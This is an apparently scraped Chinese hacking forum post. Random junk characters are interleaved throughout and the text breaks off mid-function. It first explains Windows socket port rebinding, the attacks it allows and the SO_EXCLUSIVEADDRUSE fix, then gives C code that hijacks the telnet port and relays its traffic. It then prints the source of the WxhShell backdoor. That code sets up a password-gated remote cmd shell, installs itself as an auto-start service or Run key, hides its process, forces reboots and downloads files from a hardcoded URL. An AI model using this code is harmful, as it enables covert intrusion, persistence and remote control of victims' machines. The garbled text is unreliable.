在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Q{l;8MCL s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
7e4\BzCC
`*B8IT) saddr.sin_family = AF_INET;
e3.TGv7= G(L*8U<UG saddr.sin_addr.s_addr = htonl(INADDR_ANY);
mDhU wZH 1Pbp=R/7ar bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
G.;<?W b/)UN*~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$%<gp@Gz 8LOzL,Ah 这意味着什么?意味着可以进行如下的攻击:
*|'k 'W)x<Iey1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
,b/0_Q |( KM 8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
t{ 'QMX $JOIK9+3z# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
H74hv`G9 8w$cj' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
i
):el= M30_b8[Y_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
WH!<Z=#c} S5;q)qz2J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Ofn:<d 7Sokn?~i 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
j \SDw
:geXplTx #include
TYp{nWwi #include
f!87JE=< #include
U+W8)7bc #include
L\"$R":3{d DWORD WINAPI ClientThread(LPVOID lpParam);
0 X@5W$x int main()
o)NWsUXf {
nC z[#t WORD wVersionRequested;
4VK5TWg DWORD ret;
iGR( WSADATA wsaData;
Ih{~?(V$ BOOL val;
"?]5"lNC| SOCKADDR_IN saddr;
&c A?|(7- SOCKADDR_IN scaddr;
:D(:(`A= int err;
b*,R9 SOCKET s;
NKd):>d% SOCKET sc;
3o/f#y int caddsize;
-"<eq0 HANDLE mt;
seJc,2Ex DWORD tid;
:D&QGw(n wVersionRequested = MAKEWORD( 2, 2 );
A:N!H_x err = WSAStartup( wVersionRequested, &wsaData );
-cG?lEh< if ( err != 0 ) {
8z@A/$T printf("error!WSAStartup failed!\n");
DRw%~ return -1;
YTY0N5[" }
/+'@}u
| saddr.sin_family = AF_INET;
ZgN*m\l }V`Fz',lZ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
t#kmtJC =MMWcK& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
j+ s8V-7( saddr.sin_port = htons(23);
i3YAK$w;& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4iDo.1B" {
5o&L|7] printf("error!socket failed!\n");
zS.7O'I<' return -1;
1`b?nX }
7GKeqv val = TRUE;
ucTkWqG //SO_REUSEADDR选项就是可以实现端口重绑定的
8amtTM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
nQ8EV>j2 {
/K'Kx printf("error!setsockopt failed!\n");
|U12fuQ return -1;
!iITX,'8 }
|IZG`3 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'tF<7\! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
SxMh ' //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?jy^WF` Z3 &8(vw if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
=w,%W^"E {
Bojm lVg ret=GetLastError();
,v(G2`Z printf("error!bind failed!\n");
df}B:?Ew. return -1;
erqg|TsFj }
IgZX,4i=o listen(s,2);
y=-d*E while(1)
))u$j4V {
@ -g^R4e< caddsize = sizeof(scaddr);
jt;68SA
P //接受连接请求
r0?`t!%V sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.3oFSc`q if(sc!=INVALID_SOCKET)
|(Io(e {
F^KoEWj[H mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1 BVivEG if(mt==NULL)
lAV6z%MmM {
ptYQP^6S[ printf("Thread Creat Failed!\n");
ai#0ZgO break;
o"K{^ L~u }
^PO0(rh }
Z3"f7l6 CloseHandle(mt);
#2|sS|0 < }
IB(5 &u. closesocket(s);
NcRY
Ch WSACleanup();
sLb[ZQ;j return 0;
H|==i2V{ }
g7#_a6 DWORD WINAPI ClientThread(LPVOID lpParam)
znX2W0V {
J1&G1\G|s= SOCKET ss = (SOCKET)lpParam;
O zY&^:> SOCKET sc;
P7<~S8)Y unsigned char buf[4096];
MhHygZT[} SOCKADDR_IN saddr;
: E]A51 long num;
L@9"6& DWORD val;
rEz=\yY^j' DWORD ret;
T<?JL.8 g_ //如果是隐藏端口应用的话,可以在此处加一些判断
8x[q[ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
(Kv[~W7lb saddr.sin_family = AF_INET;
Jc:*X4-' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Q_qc_IcM y saddr.sin_port = htons(23);
-.i1l/FzP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Mryi6X T {
/ IAK'/ printf("error!socket failed!\n");
sR
~1J4 return -1;
dy#dug6j }
x}].lTjD val = 100;
@tRq(*(/: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)$ i7b {
)nTOIfP2 ret = GetLastError();
-@<k)hWr return -1;
;Rt?&&W }
7-Fh!=\f/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b:WlB[5 {
%v4/.4sR,; ret = GetLastError();
G}AfCd4 return -1;
6ZR'1_i6i= }
owJPEx if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
5<Xq7|Jt {
aKhI|%5kA printf("error!socket connect failed!\n");
KPs5? X closesocket(sc);
t/#[At5p= closesocket(ss);
Nq"/:3@4 return -1;
Zii<jZ.)< }
F]0O4p~fl while(1)
RiIJ#:6+^I {
;sS N //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,ZC ^,Vq //如果是嗅探内容的话,可以再此处进行内容分析和记录
y8D'V)B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
K9;pX2^z9 num = recv(ss,buf,4096,0);
yo#& >W if(num>0)
5NZob<< send(sc,buf,num,0);
'&xv)tno else if(num==0)
x{6/di break;
gV91=Pj num = recv(sc,buf,4096,0);
;SEH|_/ if(num>0)
W52AX.Nm send(ss,buf,num,0);
3;u* _ ]N_ else if(num==0)
.u>IjK^ break;
w<lHY=z E }
{]n5h#c 5* closesocket(ss);
e@Q<hb0<eU closesocket(sc);
6NVf&;laQ return 0 ;
W8'cAY }
QyuSle a<B[~J 4i Vp.($ ==========================================================
|-bSoq7t ?J<Y] 下边附上一个代码,,WXhSHELL
loZJV M )3V5P%Q ==========================================================
<iajtq<Z [k ZvBd #include "stdafx.h"
Eb7qM.Q] & s/ibj@h #include <stdio.h>
==F[5]? #include <string.h>
> nDx)!I #include <windows.h>
A% 9TS/-p #include <winsock2.h>
q+>J'UGb #include <winsvc.h>
Xm8
1axyf #include <urlmon.h>
.cdm@_Ls Iw(deD #pragma comment (lib, "Ws2_32.lib")
?%J{1+hY #pragma comment (lib, "urlmon.lib")
%3M(!X:[ $?YRy_SI #define MAX_USER 100 // 最大客户端连接数
JV=d!Gi[C #define BUF_SOCK 200 // sock buffer
(1T2?mO #define KEY_BUFF 255 // 输入 buffer
@%q0fj8b sPYG?P(l #define REBOOT 0 // 重启
h@7Shp #define SHUTDOWN 1 // 关机
DBANq\ ?vuM'UH- #define DEF_PORT 5000 // 监听端口
DBYD>UA h7c8K)ntnf #define REG_LEN 16 // 注册表键长度
RUC
V!L #define SVC_LEN 80 // NT服务名长度
W2G`K+p ,'?%z>RZm // 从dll定义API
oqH811 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
.|}ogTEf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{y0#(8-& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}2:/&H' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Sd'!(M^k3 S/Pffal // wxhshell配置信息
.<}(J#vC struct WSCFG {
pV]m6!y& int ws_port; // 监听端口
p(in.Xz char ws_passstr[REG_LEN]; // 口令
9=7),`$ int ws_autoins; // 安装标记, 1=yes 0=no
u;18s-NY char ws_regname[REG_LEN]; // 注册表键名
&@u;xc| v char ws_svcname[REG_LEN]; // 服务名
C8>zr6)1
char ws_svcdisp[SVC_LEN]; // 服务显示名
fz#e4+oH char ws_svcdesc[SVC_LEN]; // 服务描述信息
hG .>> char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"v@$CR9<T int ws_downexe; // 下载执行标记, 1=yes 0=no
I9O!CQCTt char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
L!s/0kBg char ws_filenam[SVC_LEN]; // 下载后保存的文件名
6*9hAnH QNj hA '[T };
F#>?i} /{Ksi+q // default Wxhshell configuration
~9c?g(0 struct WSCFG wscfg={DEF_PORT,
5 fY\0 "xuhuanlingzhe",
pv*u[ffi 1,
fYU/Jn# "Wxhshell",
1^ZQXUzl%i "Wxhshell",
:bFCnV`Q "WxhShell Service",
[<`K%1GQ "Wrsky Windows CmdShell Service",
;Nf5,D.D "Please Input Your Password: ",
Q= IA|rN 1,
a]XQM$T$ "
http://www.wrsky.com/wxhshell.exe",
~`)`Ip "Wxhshell.exe"
ZLw7-H6Fh };
m-9{@kgAM? %>B?WR\yE // 消息定义模块
g((glr)6M char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Lsv[@Rl char *msg_ws_prompt="\n\r? for help\n\r#>";
m?bd6'&FR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
d7s? c char *msg_ws_ext="\n\rExit.";
<+@?V$& char *msg_ws_end="\n\rQuit.";
mpfc2>6Il. char *msg_ws_boot="\n\rReboot...";
={,\6a|]: char *msg_ws_poff="\n\rShutdown...";
; mnV)8:F char *msg_ws_down="\n\rSave to ";
V)#se"GV Y-\/Y*;cd char *msg_ws_err="\n\rErr!";
6'
}oo'#~ char *msg_ws_ok="\n\rOK!";
U,
_nEx >MD['=J[d char ExeFile[MAX_PATH];
5VIc int nUser = 0;
FG]xn(E HANDLE handles[MAX_USER];
8JxJ>I-9p int OsIsNt;
??eSGQ| ({JXv SERVICE_STATUS serviceStatus;
W FVx7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
0gdFXh$!e [r,a0s // 函数声明
C-!!1-Eq?: int Install(void);
tSX<^VER7 int Uninstall(void);
&|>CW:)&1" int DownloadFile(char *sURL, SOCKET wsh);
0G`_dMN int Boot(int flag);
mYLqT$t.+ void HideProc(void);
KW.*LoO int GetOsVer(void);
I^erMQn[ z int Wxhshell(SOCKET wsl);
g-`HKoKe void TalkWithClient(void *cs);
:xOne<@ int CmdShell(SOCKET sock);
Ibt~e4f int StartFromService(void);
G"w
?{W@ int StartWxhshell(LPSTR lpCmdLine);
YjaEKM8* KwGk8$ U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Yd]y`J?# VOID WINAPI NTServiceHandler( DWORD fdwControl );
ZC}'! $r7 K;,zE6WD$$ // 数据结构和表定义
a@(4X/| SERVICE_TABLE_ENTRY DispatchTable[] =
rg Gm[SL*< {
{A2EGUmF2 {wscfg.ws_svcname, NTServiceMain},
?d@3y<A,~ {NULL, NULL}
`K -j };
2R9AYI 2fZVBj // 自我安装
k#mQLv int Install(void)
>YP6/w,e {
reo char svExeFile[MAX_PATH];
G.v zz-yG HKEY key;
GIXxOea1 strcpy(svExeFile,ExeFile);
05=
$Dnv hP1}Do // 如果是win9x系统,修改注册表设为自启动
;',hwo_LBf if(!OsIsNt) {
UjCQ W:[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5G5P#<Vv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9 0PF)U RegCloseKey(key);
"rhU2jT=c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
CjtBQ5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6z;C~_BV RegCloseKey(key);
U*Q1(C return 0;
+/!kL0[v }
@9-/p^n1 }
b{T". @b }
>q W_% else {
l!r2[T]I@7 z1wJ-l // 如果是NT以上系统,安装为系统服务
*Uq1q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
/u
hA\m( if (schSCManager!=0)
8?p40x$m% {
_i@{:v SC_HANDLE schService = CreateService
w[`2t{^j (
zJ-_{GiM*L schSCManager,
-nBb -y wscfg.ws_svcname,
)=,%iL- wscfg.ws_svcdisp,
DeqTr: SERVICE_ALL_ACCESS,
:{#%_^}k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|>w>}w`~ SERVICE_AUTO_START,
lqD.epm SERVICE_ERROR_NORMAL,
;ZnSWIF2 svExeFile,
AH*{Bi[vX NULL,
H{XbKLU NULL,
/-Saz29f^Q NULL,
4<`Qyul- NULL,
jg2UX NULL
93Z/|7 );
px|y_.DB2x if (schService!=0)
Eqx2.S {
x2-i1#j`; CloseServiceHandle(schService);
q?R)9E$h CloseServiceHandle(schSCManager);
<n8K"(sy} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
OR{<)L strcat(svExeFile,wscfg.ws_svcname);
/(/Z~J[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<Mdyz! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
=bn(9Gm!J RegCloseKey(key);
/O,>s return 0;
1iS]n;xcl/ }
<K^{36h }
(s:ihpI CloseServiceHandle(schSCManager);
ld RV
JVZc }
Z*AT &7 }
}]dK26pX R`IFKmA EJ return 1;
[#+yL }
VnZRsFY<^ S5Hb9m&& // 自我卸载
Z&f@)j int Uninstall(void)
|2i=oX(r| {
+"sjkdum1 HKEY key;
VR8 kY& s}
I8:ufT if(!OsIsNt) {
xj6@85^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2)iwAu
RegDeleteValue(key,wscfg.ws_regname);
]lX`[HX7 RegCloseKey(key);
y4@zi "G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Q9i&]V[` RegDeleteValue(key,wscfg.ws_regname);
jTR>H bh RegCloseKey(key);
11'^JmKA return 0;
cO8':P5Q }
A`'k5uG }
J?oI%r7^ }
&:>3tFQSH else {
_u[2R=h lx'^vK% F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&["s/!O1 R if (schSCManager!=0)
s6U$]9 ` {
xj ?#]GR SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
C`J> Gm if (schService!=0)
m{ wk0 {
s6DmZ^Y% if(DeleteService(schService)!=0) {
3jI
rB% CloseServiceHandle(schService);
NsPAWI|4 CloseServiceHandle(schSCManager);
f:\)oIW9Kk return 0;
<:n!qQS6 }
azs lNL CloseServiceHandle(schService);
?Z0NHy;5 }
8gHOs#\ CloseServiceHandle(schSCManager);
~E8L,h~ }
9a6ij*# }
5LF &C0v tk5zq-/d return 1;
I[l8@!0 }
TQ,KPf$0U f`gs/R // 从指定url下载文件
8PB 8h int DownloadFile(char *sURL, SOCKET wsh)
=d*5TyAcu {
baO'FyCs9& HRESULT hr;
^pysoaZCT_ char seps[]= "/";
nOCCOTf char *token;
KLBX2H2^0 char *file;
\) FFV-k5 char myURL[MAX_PATH];
/$U<S" char myFILE[MAX_PATH];
rRQKW_9mB (a9>gLI0 strcpy(myURL,sURL);
1iJa j token=strtok(myURL,seps);
.N>Th/K8 while(token!=NULL)
W^k|*Y| {
~PtIq.BY file=token;
c-y`Hm2" token=strtok(NULL,seps);
]zATdfa }
Pm/Rc =j~vL`d2] GetCurrentDirectory(MAX_PATH,myFILE);
I^l\<1"] strcat(myFILE, "\\");
1PUeU+ strcat(myFILE, file);
| zyO; send(wsh,myFILE,strlen(myFILE),0);
NVX @1} send(wsh,"...",3,0);
BW x=Q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
d=DQS>Nz if(hr==S_OK)
h0aK}`/a return 0;
mHF?t.y else
#8/pYQ; return 1;
$.F.xYS9IJ 2r"J"C }
\(&UDG$ !dV2:`|+ // 系统电源模块
w(oi6kg int Boot(int flag)
928uGo5 {
sW&5Mu- HANDLE hToken;
P[%nD cB TOKEN_PRIVILEGES tkp;
T9\G,;VQ7/ ]S 3l' " if(OsIsNt) {
fZavZ\qU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2_GbK- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
yA]OX" T?* tkp.PrivilegeCount = 1;
\h@3dJ4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[ 0z-X7=e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Dnp><% if(flag==REBOOT) {
x
K ;#C if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
~0Z.,p_ return 0;
LUzn7FZk }
)?{jD else {
a];1)zVA6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-<l2 $&KS return 0;
D@)L?AB1f }
2QgD< }
r1BL?&X- else {
7hhv/9L1 if(flag==REBOOT) {
8 .t3`FGH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
^#!\VGnL return 0;
2j&0U!DX }
)lU9\"?o else {
#~ZaN;u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
LT#EYnG return 0;
cHC4Y&&uZ }
\U>|^$4 #5 }
X<Ag['r @RHG@{x{K return 1;
~? :>=x }
-TS5g1 {_4`0J`3 // win9x进程隐藏模块
M<r]a{Yv void HideProc(void)
S1#5oy2 {
~KczP1p _p'u!.a?! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
FXul
u6"SX if ( hKernel != NULL )
B'I_i$g4w {
tgj5l#P pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
t +|t/1s2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
vxS4YR b FreeLibrary(hKernel);
QjKh#sU& }
\U<d)j/ Za]~[F return;
&3Lhb}m }
kGAB' V -_MwII- // 获取操作系统版本
*z};&UsF{ int GetOsVer(void)
;Sfe.ky@6 {
~~@dbB OSVERSIONINFO winfo;
{Wndp% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
{Ve3EYYm GetVersionEx(&winfo);
h]vEXWpG ] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
P`avn
return 1;
u$FL(m4 else
RKZBI?@4 return 0;
1bjz :^ }
{|'NpV Ezev
^O] // 客户端句柄模块
3
2"f'{ int Wxhshell(SOCKET wsl)
2O- 4x {
T\#Gc4 SOCKET wsh;
I>q!co9n struct sockaddr_in client;
8@b`a]lgrd DWORD myID;
"MK2QIo ^CgN>-xZ?# while(nUser<MAX_USER)
xUNq!({T {
U2LD_-HZ int nSize=sizeof(client);
BLAF{vVaf wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>cpv4Pgm if(wsh==INVALID_SOCKET) return 1;
XMz*}B6GQ 9GsG* $-I handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#U4
f9.FY* if(handles[nUser]==0)
#^yOW^ closesocket(wsh);
fg lN_ else
y}is=h3 nUser++;
7w]3D }
"G,,:H9v WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#;5Qd' (P=WKZMPN return 0;
`,]_r4~ ~ }
@eutp`xoT\ w~:F? // 关闭 socket
IG7,-3 void CloseIt(SOCKET wsh)
A6J:!sY4A {
lMG+,?<uK& closesocket(wsh);
FS=LpvOG) nUser--;
,F*HZBNFZ ExitThread(0);
f*ABIm }
LwTdmR .5AFAGv_c // 客户端请求句柄
'Z:wEt! void TalkWithClient(void *cs)
E0l&d {
U|{ 4=[ 3)L#V
. SOCKET wsh=(SOCKET)cs;
&5.J y2hO] char pwd[SVC_LEN];
Ekik_!aB char cmd[KEY_BUFF];
q317~z_nl char chr[1];
Bo14t*( int i,j;
N=7iQ@{1 / 9,'. while (nUser < MAX_USER) {
, s otZT @'5*jXd if(wscfg.ws_passstr) {
6k![v@2R if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[8q`~S%-] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ihr[44# //ZeroMemory(pwd,KEY_BUFF);
)MLbE-@ i=0;
p|NY.N while(i<SVC_LEN) {
%#PWD7a\ >,tJq% // 设置超时
{0np fd_set FdRead;
J]w3iYK struct timeval TimeOut;
xIW]e1pu=( FD_ZERO(&FdRead);
rNKeY48\ FD_SET(wsh,&FdRead);
`IJ)'$pn TimeOut.tv_sec=8;
Fw{68ggk TimeOut.tv_usec=0;
Q`6hJgyL int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
&j ;91wEn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
UjLq[,_! Qds:*]vGS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
c0HPS9N\ pwd
=chr[0]; NFtA2EMLu[
if(chr[0]==0xd || chr[0]==0xa) { w^^l,
pwd=0; ]Hq,Pr_+
break; e=p_qhBt
} 9Iq<*\V 4
i++; ~3%\8,0
} 'p\&Mc_Gu
&/2+'wCp5
// 如果是非法用户,关闭 socket .w _BA)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B2*>7 kc_s
} ;K|K]c
#8
^b]
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D|<_96_m
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MxI*ml8z?
z_ '!?K{
while(1) { BzH0"xq^
__s'/6u
ZeroMemory(cmd,KEY_BUFF); *93=}1gN
y`5
?
// 自动支持客户端 telnet标准 TuPD5-wB&
j=0; r#_0_I1[
while(j<KEY_BUFF) { e-UWbn'~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vr"'O6
cmd[j]=chr[0]; T-GvPl9ZJw
if(chr[0]==0xa || chr[0]==0xd) { q4Bw5~n
cmd[j]=0; M
#0v# {o
break; |+JO]J#bc
} @jjxgd'%&
j++; t2.jg?`k
} +t1+1Zv
[`E_/95
// 下载文件 #*lDKn[vO
if(strstr(cmd,"http://")) { z.\\m;s
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wd(|w8J{a
if(DownloadFile(cmd,wsh)) =jpRv<X|,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /X0<2&v
else bA$ElKT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #lSGH 5Fp?
} $G}k'[4C
else { P s|[
H8B.c%_|U
switch(cmd[0]) { dD'KP4Io@
0$Zh4Y
// 帮助 n>:e8KVM;
case '?': { l
ObY
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rW~G'
break; GMLx$?=j
} ^ yF
Wvfh4
// 安装 tpeMq-
case 'i': { )[&j&AI
if(Install()) -)bu&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~"wnlG-:
else 0lcwc"_DZX
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9n\v{k=
break; K&dc< 4DC
} cZrJW
// 卸载 K&=6DvfR
case 'r': { sv "GX<+
if(Uninstall()) G&M)n*o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -A:'D8o#f
else ~+RrL,t#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); la]Zk
break; abEdZ)$
} ,d=Dicaz
// 显示 wxhshell 所在路径 9N) Ea:N
case 'p': { uIJ
zz4
char svExeFile[MAX_PATH]; *s2 C+@ef
strcpy(svExeFile,"\n\r"); {gDoktC@M
strcat(svExeFile,ExeFile); [{ A5BE -
send(wsh,svExeFile,strlen(svExeFile),0); x^pHP|<3`
break; L>57eF)7
} MSt@yKq
// 重启 ~%: TE}
case 'b': { lgHzI(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0=OvVU;P
if(Boot(REBOOT)) ,/Y$%.Rp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K5+ONA<c
else { G)9`Qn
closesocket(wsh); l~*d0E-$
ExitThread(0); `M_w^&6+n
} z}7U>y6`
break; >LEp EMJ\
} %B Rll
// 关机 7bkh")^
case 'd': { $I\lJ8
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KVpQ,x&q~
if(Boot(SHUTDOWN)) >9Y0t^Fl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xn7bb[g;
else { ]=]`Mnuxb
closesocket(wsh); NbhQ-
ExitThread(0); CH=k=)() ]
} gAy"W$F
break; 28xLaob
} 62/tg*)
// 获取shell sH)40QmO{
case 's': { Y2y =
P
CmdShell(wsh); JB!KOzw
closesocket(wsh); G\S_e7$/
ExitThread(0); \YF'qWB
break; D4QLlP
} st(Y{Gs
// 退出 G/}nwj\
case 'x': { dv\aP
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
C6}`qD
CloseIt(wsh); \F),SL
break; ~2U5Wt
} + WFa4NZ
// 离开 1?ST*b
case 'q': { N< 7
send(wsh,msg_ws_end,strlen(msg_ws_end),0); i.>d#S
closesocket(wsh); )m$i``*<
WSACleanup(); VWE`wan<
exit(1); Y\7/`ty
break; hk+"c^g:j<
} DP7B X^e
} WEugm603
} W q>qso
1ba* U~OEg
// 提示信息 u69s}yZ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qx}hiv/
} 2o9IP>#u
} 1jQlwT(:
3gU*,K7
return; %(n^reuP
} 5_Opx=
+h?z7ZY^
// shell模块句柄 /kK:{
int CmdShell(SOCKET sock) }{m.\O
{ @k,}>Tk
STARTUPINFO si; UG<`m]
ZeroMemory(&si,sizeof(si)); @)p?!3{"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]u@`XVEJ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w`r)B`!g
PROCESS_INFORMATION ProcessInfo; /2e,,)4g
char cmdline[]="cmd"; AwO'%+Bv
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qz/d6-0"
return 0; wZ =*ejo
} K_E- Hgg_
#sp8 !8|y
// 自身启动模式 DFFB:<
int StartFromService(void) `tZ`a
{ dsUY[X-<6
typedef struct $>y
{ b!xm=U
DWORD ExitStatus; %G>V .d
DWORD PebBaseAddress; `SSUQ#@
DWORD AffinityMask; sz+Uq]Mn
